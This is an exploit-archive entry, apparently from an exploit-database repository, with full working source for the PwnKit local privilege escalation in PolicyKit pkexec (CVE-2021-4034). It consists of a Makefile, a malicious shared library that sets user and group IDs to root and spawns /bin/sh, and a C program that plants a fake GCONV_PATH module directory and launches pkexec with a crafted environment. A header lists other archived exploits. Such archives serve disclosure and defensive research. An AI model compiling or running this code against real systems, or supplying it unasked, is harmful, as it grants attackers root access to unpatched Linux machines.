d3b7d652cc
5 changes to exploits/shellcodes PolicyKit-1 0.105-31 - Privilege Escalation Oracle WebLogic Server 14.1.1.0.0 - Local File Inclusion WordPress Plugin Mortgage Calculators WP 1.52 - Stored Cross-Site Scripting (XSS) (Authenticated) WordPress Plugin RegistrationMagic V 5.0.1.5 - SQL Injection (Authenticated) WordPress Plugin Modern Events Calendar V 6.1 - SQL Injection (Unauthenticated)
70 lines
No EOL
1.4 KiB
Text
70 lines
No EOL
1.4 KiB
Text
# Exploit Title: PolicyKit-1 0.105-31 - Privilege Escalation
|
|
# Exploit Author: Lance Biggerstaff
|
|
# Original Author: ryaagard (https://github.com/ryaagard)
|
|
# Date: 27-01-2022
|
|
# Github Repo: https://github.com/ryaagard/CVE-2021-4034
|
|
# References: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
|
|
|
|
# Description: The exploit consists of three files `Makefile`, `evil-so.c` & `exploit.c`
|
|
|
|
##### Makefile #####
|
|
|
|
all:
|
|
gcc -shared -o evil.so -fPIC evil-so.c
|
|
gcc exploit.c -o exploit
|
|
|
|
clean:
|
|
rm -r ./GCONV_PATH=. && rm -r ./evildir && rm exploit && rm evil.so
|
|
|
|
#################
|
|
|
|
##### evil-so.c #####
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
|
|
void gconv() {}
|
|
|
|
void gconv_init() {
|
|
setuid(0);
|
|
setgid(0);
|
|
setgroups(0);
|
|
|
|
execve("/bin/sh", NULL, NULL);
|
|
}
|
|
|
|
#################
|
|
|
|
##### exploit.c #####
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
|
|
#define BIN "/usr/bin/pkexec"
|
|
#define DIR "evildir"
|
|
#define EVILSO "evil"
|
|
|
|
int main()
|
|
{
|
|
char *envp[] = {
|
|
DIR,
|
|
"PATH=GCONV_PATH=.",
|
|
"SHELL=ryaagard",
|
|
"CHARSET=ryaagard",
|
|
NULL
|
|
};
|
|
char *argv[] = { NULL };
|
|
|
|
system("mkdir GCONV_PATH=.");
|
|
system("touch GCONV_PATH=./" DIR " && chmod 777 GCONV_PATH=./" DIR);
|
|
system("mkdir " DIR);
|
|
system("echo 'module\tINTERNAL\t\t\tryaagard//\t\t\t" EVILSO "\t\t\t2' > " DIR "/gconv-modules");
|
|
system("cp " EVILSO ".so " DIR);
|
|
|
|
execve(BIN, argv, envp);
|
|
|
|
return 0;
|
|
}
|
|
|
|
################# |